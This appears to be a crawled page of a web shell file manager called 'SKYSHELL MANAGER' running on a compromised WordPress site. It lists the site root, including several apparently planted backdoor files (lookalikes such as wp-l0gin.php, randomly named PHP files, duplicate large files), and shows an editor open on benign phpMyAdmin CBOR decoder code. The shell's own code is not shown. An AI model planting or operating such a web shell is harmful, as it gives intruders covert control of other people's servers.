📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: CBORDecoder.php
<?php declare(strict_types=1); namespace PhpMyAdmin\WebAuthn; use Webmozart\Assert\Assert; use function ord; use function unpack; use const INF; use const NAN; /** * Concise Binary Object Representation (CBOR) decoder. * * This is not a general purpose CBOR decoder and only implements the CTAP2 canonical CBOR encoding form. * * @see https://www.rfc-editor.org/rfc/rfc7049 * @see https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html#message-encoding */ final class CBORDecoder { /** * @return mixed * * @throws WebAuthnException */ public function decode(DataStream $stream) { return $this->wellFormed($stream); } /** * @see https://www.rfc-editor.org/rfc/rfc7049#appendix-C * * @return mixed * * @throws WebAuthnException */ private function wellFormed(DataStream $stream) { // process initial bytes $initialByte = ord($stream->take(1)); $majorType = $initialByte >> 5; $value = $additionalInformation = $initialByte & 0x1f; switch ($additionalInformation) { case 24: if ($majorType !== 7) { $value = ord($stream->take(1)); } break; case 25: if ($majorType !== 7) { $unpackedValue = unpack('n', $stream->take(2)); Assert::isArray($unpackedValue); Assert::keyExists($unpackedValue, 1); Assert::integer($unpackedValue[1]); $value = $unpackedValue[1]; } break; case 26: if ($majorType !== 7) { $unpackedValue = unpack('N', $stream->take(4)); Assert::isArray($unpackedValue); Assert::keyExists($unpackedValue, 1); Assert::integer($unpackedValue[1]); $value = $unpackedValue[1]; } break; case 27: if ($majorType !== 7) { $unpackedValue = unpack('J', $stream->take(8)); Assert::isArray($unpackedValue); Assert::keyExists($unpackedValue, 1); Assert::integer($unpackedValue[1]); $value = $unpackedValue[1]; } break; case 28: case 29: case 30: case 31: throw new WebAuthnException(); } // process content switch ($majorType) { case 0: return $this->getUnsignedInteger($value); case 1: return $this->getNegativeInteger($value); case 2: return $this->getByteString($stream, $value); case 3: return $this->getTextString($stream, $value); case 4: return $this->getList($stream, $value); case 5: return $this->getMap($stream, $value); case 6: return $this->getTag($stream); case 7: return $this->getFloatNumberOrSimpleValue($stream, $value, $additionalInformation); default: throw new WebAuthnException(); } } private function getUnsignedInteger(int $value): int { return $value; } private function getNegativeInteger(int $value): int { return -1 - $value; } /** * @throws WebAuthnException */ private function getByteString(DataStream $stream, int $value): string { return $stream->take($value); } /** * @throws WebAuthnException */ private function getTextString(DataStream $stream, int $value): string { return $stream->take($value); } /** * @psalm-return list<mixed> * * @throws WebAuthnException */ private function getList(DataStream $stream, int $value): array { $list = []; for ($i = 0; $i < $value; $i++) { /** @psalm-suppress MixedAssignment */ $list[] = $this->wellFormed($stream); } return $list; } /** * @psalm-return array<array-key, mixed> * * @throws WebAuthnException */ private function getMap(DataStream $stream, int $value): array { $map = []; for ($i = 0; $i < $value; $i++) { /** @psalm-suppress MixedAssignment, MixedArrayOffset */ $map[$this->wellFormed($stream)] = $this->wellFormed($stream); } return $map; } /** * @return mixed * * @throws WebAuthnException */ private function getTag(DataStream $stream) { // 1 embedded data item return $this->wellFormed($stream); } /** * @return mixed * * @throws WebAuthnException */ private function getFloatNumberOrSimpleValue(DataStream $stream, int $value, int $additionalInformation) { switch ($additionalInformation) { case 20: return true; case 21: return false; case 22: return null; case 24: // simple value return ord($stream->take(1)); case 25: return $this->getHalfFloat($stream); case 26: return $this->getSingleFloat($stream); case 27: return $this->getDoubleFloat($stream); case 31: // "break" stop code for indefinite-length items throw new WebAuthnException(); default: return $value; } } /** * IEEE 754 Half-Precision Float (16 bits follow) * * @see https://www.rfc-editor.org/rfc/rfc7049#appendix-D * * @throws WebAuthnException */ private function getHalfFloat(DataStream $stream): float { $value = unpack('n', $stream->take(2)); Assert::isArray($value); Assert::keyExists($value, 1); Assert::integer($value[1]); $half = $value[1]; $exp = ($half >> 10) & 0x1f; $mant = $half & 0x3ff; if ($exp === 0) { $val = $mant * (2 ** -24); } elseif ($exp !== 31) { $val = ($mant + 1024) * (2 ** ($exp - 25)); } else { $val = $mant === 0 ? INF : NAN; } return $half & 0x8000 ? -$val : $val; } /** * IEEE 754 Single-Precision Float (32 bits follow) * * @throws WebAuthnException */ private function getSingleFloat(DataStream $stream): float { $value = unpack('G', $stream->take(4)); Assert::isArray($value); Assert::keyExists($value, 1); Assert::float($value[1]); return $value[1]; } /** * IEEE 754 Double-Precision Float (64 bits follow) * * @throws WebAuthnException */ private function getDoubleFloat(DataStream $stream): float { $value = unpack('E', $stream->take(8)); Assert::isArray($value); Assert::keyExists($value, 1); Assert::float($value[1]); return $value[1]; } }
Save